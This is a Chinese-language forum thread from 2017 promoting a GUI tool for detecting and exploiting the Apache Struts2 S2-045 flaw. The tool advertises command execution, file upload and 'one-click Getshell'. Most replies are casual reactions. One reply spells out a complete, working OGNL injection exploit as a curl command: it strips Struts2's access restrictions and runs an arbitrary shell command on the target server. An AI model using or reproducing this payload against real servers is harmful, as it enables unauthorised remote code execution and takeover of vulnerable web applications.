Struts2 S2-045 漏洞检测利用工具 Exp GUI 版

• 请不要在回答技术问题时复制粘贴 AI 生成的内容

This topic created in 3531 days ago, the information mentioned may be changed or developed.

刚刚看到这个漏洞这么火，顺手写了个简易版本的检测工具，带 GUI ，目前只支持命令执行 UI 翔一样就翔一样吧，控件起码对齐了 MFC 写的你怕不怕各位表哥路过给点个 star 吧 :-)

http://github.flyshit.pw/github.html

Supplement 1 · Mar 8, 2017

已经添加 release 啦，拖下来就能用
V2EX 怎么换行不对劲？

Supplement 2 · Mar 9, 2017

更新版本啦，新版本功能包括
命令执行
网站根目录获取
文件上传
一键 Getshell

GUI

漏洞

s2-045

MFC

14 replies • 2017-09-11 10:56:56 +08:00

wjm2038

Mar 8, 2017 via Android

已点 star

azhw

Mar 8, 2017

发布个二进制 release 会方便不少.

SoloCompany

Mar 8, 2017

好丑的头像

zhanghedr

Mar 8, 2017

可以可以

paranoiagu

Mar 8, 2017 via Android

这个可以有

graetdk

Mar 8, 2017

fatal error: 'SDKDDKVer.h' file not found

fucker

Mar 8, 2017

已 star ，昨天还在用 python 的 poc 检测

thinkmore

Mar 8, 2017

昨天紧急修复了这个漏洞

mianju

Mar 8, 2017

试了一下感觉还挺好玩的

jason19659

Mar 8, 2017

Struts2 又爆漏洞。。。这玩意还是别用了吧

lovelynn

Mar 8, 2017

curl -H "Content-Type:%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" "url"‘
所以你告诉我 gui 有何用

Flyshit

Mar 9, 2017

@fucker
谢谢感谢~
版本已经更新啦，新版本功能包括
命令执行
网站根目录获取
文件上传
一键 Getshell

fucker

Mar 10, 2017

@Flyshit 要是 wooyun 还在，这几天又可以看到表哥们刷 rank 了 :D

shakespark

Sep 11, 2017

打不开了。。。